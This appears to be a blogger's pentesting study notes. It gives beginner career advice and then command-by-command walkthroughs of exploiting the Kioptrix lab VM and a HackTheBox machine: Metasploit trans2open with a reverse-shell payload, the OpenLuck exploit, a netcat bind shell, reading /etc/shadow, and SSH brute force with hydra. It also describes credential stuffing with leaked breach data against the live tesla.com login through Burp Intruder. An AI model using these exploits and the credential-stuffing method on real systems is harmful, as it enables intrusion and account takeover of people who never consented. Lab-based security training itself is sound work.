INTRODUCTION

Pentesting, or penetration testing, is the practice of simulating an attack on a computer system, network, or web application to test its defenses and identify vulnerabilities. There are many resources available to learn pentesting, including online courses, books, and hands-on experience.

Here are some steps you can follow to learn pentesting:

Action Plan

Transitioning to a career in Pentesting may require some additional steps and planning, but it is certainly possible. Here is a table outlining some steps that you can take:

Familiarize yourself with the basics of computer science and networking. This can involve taking online courses or reading books to learn about topics such as data structures, algorithms, and network protocols.
Learn a programming language such as Python or linux commands. These languages are commonly used in pentesting and can be useful for creating custom tools. You can find online tutorials and resources to help you learn these languages.
Get hands-on experience by setting up a lab environment and practicing on vulnerable systems. There are many virtual machine images available online that you can use for this purpose.
Join online communities and forums where you can learn from other pentesters and get feedback on your work.
Consider obtaining a certification in pentesting, such as the Offensive Security Certified Professional (OSCP) or the Certified Ethical Hacker (CEH). These certifications can help demonstrate your knowledge and skills to potential employers.
Look for opportunities to gain practical experience, such as internships or part-time positions, to help you build your resume and network.
Consider seeking out additional education or training, such as a degree in computer science or cybersecurity, to help you stand out in the field.

Hands-on experience

Gaining hands-on experience is an important step in learning about pentesting and becoming proficient in the field. Here are a few ways you can gain hands-on experience:

Set up a lab environment using virtualization software such as VMware or VirtualBox. This will allow you to create and run virtual machines on your computer, which you can then use to practice on vulnerable systems.
Download and use virtual machine images that are specifically designed for pentesting. These images often come pre-configured with vulnerable systems and tools that you can use to practice identifying and exploiting vulnerabilities.
Participate in Capture the Flag (CTF) events and hackathons. These are competitions where teams of participants work to solve challenges and "capture" flags by finding and exploiting vulnerabilities in systems and networks.
Seek out internships or part-time positions in the field of cybersecurity. These types of opportunities can provide you with practical experience working on real-world systems and projects.

There are many vulnerable systems that you can download and practice on to gain hands-on experience in pentesting. Here are some steps you can follow to find and download these systems:

Search for virtual machine images that are specifically designed for pentesting. These images often come pre-configured with vulnerable systems and tools that you can use to practice identifying and exploiting vulnerabilities.
Download and install virtualization software such as VMware or VirtualBox. This will allow you to create and run virtual machines on your computer.
Download a vulnerable virtual machine image and import it into your virtualization software.
Start the virtual machine and begin practicing on the vulnerable system.

Now importing the image in Virtual box

Setting all the virtualbox machine under "NATNETWORK"

Kioptrix vul machine is turned on

Kioptrix_Level_1.
https://www.vulnhub.com/entry/kioptrix-level-1-1,22/

Trying to Find the ip address of the kioptrix and kali linux VM's

# arp-scan -l
ifconfig

Scanning Starts

root@kali:~# netdiscover -r 192.168.1.0/24

Getting the kioptrix ip address to perform attack

NMAP scan

To scan all ports "-p-" which take long time based on the domain ranging from 15 minutes to 12 hrs. Doing so will be able to find all the options to find the vulnerabilities.

Step 1: Just to find all the open ports only

root@kali:~# nmap -T4 -p- 192.168.202.130

Step 2: Scan for TCP and UDP protocols- suggestion scan for top 1000 ports

nmap -sU -T4 -p 192.168.202.130

Step 3: Now find the open ports and then giving the ports to get all details

Now after getting the open port details

root@kali:~# nmap -A -T4 -p22,80,111,139,443,32768 192.168.202.130

Port 22 is open SSH service
Port 80 open Apache https 1.3.20
Port 139 open netbios-ssn samba
Port 443 open ssl/https apache/1.3.20

Enumeration : HTTP/HTTPS

Enumeration SMB

Now trying to enumerate SMB on port 139

we are trying to get vulnerabilities- SMB and its version used in the server.

Metasploit Framework is started

kali:~# msfconsole
msf5> search smb

msfconsole search smb

msf5> use auxiliary/scanner/smb/smb_version

use auxiliary/scanner/smb/smb_version

msf5 auxiliary(scanner/smb/smb_version) > options

msf5 auxiliary(scanner/smb/smb_version) > set rhosts 192.168.202.130

msf5 auxiliary(scanner/smb/smb_version) > run

Now we are able get the version samba 2.2

SMBCLIENT is started

root@kali:~# smbclient -L \\\\192.168.57.134\\

root@kali:~# smbclient \\\\192.168.57.134\\ADMIN$

root@kali:~# smbclient \\\\192.168.57.134\\IPC$

smb: \>

smb: \> help

smb: \> ls

access denied

smb: \> exit

The access denied is seen as dead-end

Enumerating SSH

kali:~# ssh 192.168.57.134

kali:~# ssh 192.168.57.134 -oKexAlgorithms=+diffie-hellman-group1-sha1

kali:~# ssh 192.168.57.134 -oKexAlgorithms=+diffie-hellman-group1-sha1 -c ases128-cbc

We have not got the password and hence terminating - CTRL + C

As part of the Nessus family, Nessus® Essentials (formerly Nessus Home) allows you to scan your environment (up to 16 IP addresses per scanner) with the same high-speed, in-depth assessments and agentless scanning convenience that Nessus subscribers enjoy.

Downloading the package

https://www.tenable.com/products/nessus/nessus-essentials

https://www.tenable.com/downloads/nessus?loginAttempted=true

Now installing the deb package

─(kali㉿kali)-[~/Downloads]

└─$ sudo dpkg -i Nessus-10.5.0-ubuntu1404_amd64.deb

- You can start Nessus Scanner by typing /bin/systemctl start nessusd.service

- Then go to https://kali:8834/ to configure your scanner

(kali㉿kali)-[~/Downloads]

└─$ sudo /bin/systemctl start nessusd.service

https://kali:8834/

registering for nessus essentials and creating admin id

Create new scan -> Basic network scan

Give ip address

Discovery : You can change to all port scan or retain common scan

Advance : scan type : default

Save then click launch

also try Create new scan -> Advance scan and try to explore

SCAN results - analysis

Now understanding the nessus scan results.

getting into vulnerabilities click the settings icon and select ungroup

Looking at the critical vulnerabilities.

Exploitation

Netcat Reverse shell - uses internal n/w

Target machine to Attackbox

Netcat Bind shell - uses external n/w

Attackbox connected to Target machine

From Victim machine 4445 is opened:

root@kali:~# nc -lvp 4445 -e /bin/bash

From attacker machine :

root@kali:~# nc 192.168.57.139 4445

Connection is established and able to connect to the shell

Staged Vs Non staged payloads

Payloads - are exploits

Gaining Root with metasploit

kali:~# searchsploit samba 2.2

kali:~# msfconsole

msf5>

msf5> search trans2open 

msf5 > use 1

msf5 exploit(linux/samba/trans2open) > options

msf5 exploit(linux/samba/trans2open) > set rhosts 192.168.57.139

msf5 exploit(linux/samba/trans2open) > options

msf5 exploit(linux/samba/trans2open) > show options

msf5 exploit(linux/samba/trans2open) > show targets

msf5 exploit(linux/samba/trans2open) > exploit

msf5 exploit(linux/samba/trans2open) > ^C # here there no no connection or exploit not working, hence looking for other options
msf5 exploit(linux/samba/trans2open) > options

now there are more payload options displayed by metasploit

msf5 exploit(linux/samba/trans2open) > set payload linux/x86/shell_reverse_tcp

This is the non staged payload where is he no /slash

For Staged payload there is / after shell

msf5 exploit(linux/samba/trans2open) > run

It was success and root access is achieved - congrats

Manual Exploitation

OPENLUCK exploitation

root@kali:~# git clone https://github.com/heltonWernik/OpenLuck

Install ssl-dev library

root@kali:~# apt-get install libssl-dev

root@kali:~# gcc -o OpenFuck OpenFuck.c -lcrypto

Running the Exploit

root@kali:~# ./Open

root@kali:~# /OpenFuck 0x6b 192.168.57.134 -c 40

After running the exploit the root privilege is gained - congrats

Now Trying to enumerate from the root using below commands

Arp -a

Route

Sudo -l

Pwd # working directory

Trying to get password hashes

Cat /etc/shadow

Trying here to find some other connected sub networks using the above commands also.

Brute Force Attack

ssh - brute force attack

root@kali:~# hydra -l root -P /usr/wordlists/metasploit/unix_passwords.txt ssh://192.168.157.134:22 -t 4 -V

Now using metasploit

root@kali:~# msfconsole

msf5> search ssh

msf5> use auxiliary/scanner/ssh/ssh_login

msf5 auxiliary(scanner/ssh/ssh_login)> options

msf5 auxiliary(scanner/ssh/ssh_login)>set username root
msf5 auxiliary(scanner/ssh/ssh_login)>set pass_file /usr/share/worldlists/metaspolit/unix_passwords.txt

msf5 auxiliary(scanner/ssh/ssh_login)> set threads 10

msf5 auxiliary(scanner/ssh/ssh_login)> set verbose true
msf5 auxiliary(scanner/ssh/ssh_login)> run

if there was any success in cracking brute force password the results will show otherwise wont be a single success attempt.

Credential Stuffing and Password spraying

Breach-parse: to collect data from 1.4 billion clear text leakage.

Trying to use the password and user name from the breach-parse data derived

FoxyProxy Standard

adding to the firefox

This makes proxy to be turned on aff with just a button for burp suite

Now opening the tesla.com and into signing page giving dummy email and password,

such the burp suite captures the intercept.

Now sending this intercept right " send to intruder"

Now in intruder tab -> Positions Tab -> click clear button.

Now selecting the email - click add button and password - add button

Change attack type - Pitchfork

Under payloads tab, copying the username and password
Payload set 1 -> Paste username

Payload set 2 -> password

Click Start Attack

Now looking in the attack result

Now just copying the error message - "we could not sign you in" and adding to Options tab -> GREP Match

GREP match -> clear -> paste ->we could not sign you in

Once again start the attack

the checkboxes shows that user was not signed in.

Password Spraying :

Here the username is changed and password is kept constant.

01 - VULNERABLE MACHINE: HACKTHEBOX [HTB]

Taking any active machine
Scanning for the ip address of the HTB

Nmap -sU T4 10.10.10.133 #this is udp scan
Nmap -T4 -p- 10.10.10.133 # this is tcp scan
Inference - when the results show 22/tcp & 80/tcp find some sort of exploit that leads to credentials. That credentials will lead to login at port 22
Also chance for getting remote exploitation on port 80

Pasting on the browser 10.10.10.133 leads to openpage

Viewing page source

Page source information show - http://onetwoseven.htb:60080

Changing localDNS, such that the page can be accessed when visiting http://onetwoseven.htb:60080

root@kali:~#Gedit /etc/hosts
Adding the ip address and http://onetwoseven.htb:60080
Now entering http://onetwoseven.htb

root@kali:~# nikto -h onetwoseven.htb

Results - server apache 2.4.5
Server leaks via etags

root@kali:~# sftp ots-5MmY2Y@onetwoseven.htb
Noe after posting the password , accessed is gained
sftp> ls
sftp> get index.html

root@kali:~# cat index.html
Based on the information getting into the url http://onetwoseven.htb/dist/img
root@kali:~# gedit index.html
Changing the image to donkey-ddos-jpg

sftp> put index.html
Recheck the url , now donkey image is displayed

root@kali:~# dirbuster
